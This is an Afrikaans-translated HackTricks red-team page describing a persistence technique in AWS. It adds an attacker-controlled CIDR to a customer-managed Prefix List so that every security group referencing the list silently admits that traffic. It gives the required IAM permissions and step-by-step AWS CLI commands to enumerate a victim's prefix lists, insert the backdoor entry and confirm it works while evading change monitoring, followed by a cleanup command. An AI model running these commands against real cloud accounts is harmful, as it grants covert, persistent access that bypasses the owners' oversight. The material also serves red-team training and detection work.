AWS - Security Group Backdoor via Managed Prefix Lists

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Opsomming

Misbruik customer-managed Prefix Lists om ’n onopvallende toegangspad te skep. As ’n security group (SG) rule na ’n managed Prefix List verwys, kan enigiemand wat die bevoegdheid het om daardie lys te wysig stilweg attacker-controlled CIDRs byvoeg. Elke SG (en moontlik Network ACL of VPC endpoint) wat na die lys verwys, laat onmiddellik die nuwe reekse toe sonder enige sigbare SG-wysiging.

Impak

  • Onmiddellike uitbreiding van toegelate IP-reekse vir alle SGs wat na die prefix list verwys, wat change controls omseil wat slegs SG-wysigings moniteer.
  • Maak volhoubare ingress/egress backdoors moontlik: hou die malicious CIDR in die prefix list weggesteek terwyl die SG rule onveranderd voorkom.

Vereistes

  • IAM permissions:
  • ec2:DescribeManagedPrefixLists
  • ec2:GetManagedPrefixListEntries
  • ec2:ModifyManagedPrefixList
  • ec2:DescribeSecurityGroups / ec2:DescribeSecurityGroupRules (om aangehegte SGs te identifiseer)
  • Opsioneel: ec2:CreateManagedPrefixList as ’n nuwe een vir toetsing geskep word.
  • Omgewing: Ten minste een SG rule wat na die teiken customer-managed Prefix List verwys.

Veranderlikes

REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"

Aanvalsstappe

  1. Enumereer kandidaat prefix lists en consumers
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'

Gebruik aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID om te bevestig watter SG-reëls op die lys staatmaak.

  1. Voeg attacker CIDR by die prefix list
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
  1. Valideer propagasie na security groups
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table

Verkeer vanaf $ENTRY_CIDR word nou toegelaat waar na die prefix list verwys word (gewoonlik uitgaande reëls op egress proxies of inkomende reëls op gedeelde dienste).

Bewyse

  • get-managed-prefix-list-entries wys die attacker CIDR en beskrywing.
  • describe-security-group-rules wys nog steeds die oorspronklike SG-reël wat na die prefix list verwys (geen SG-wysiging aangeteken nie), tog slaag verkeer vanaf die nuwe CIDR.

Opruiming

aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks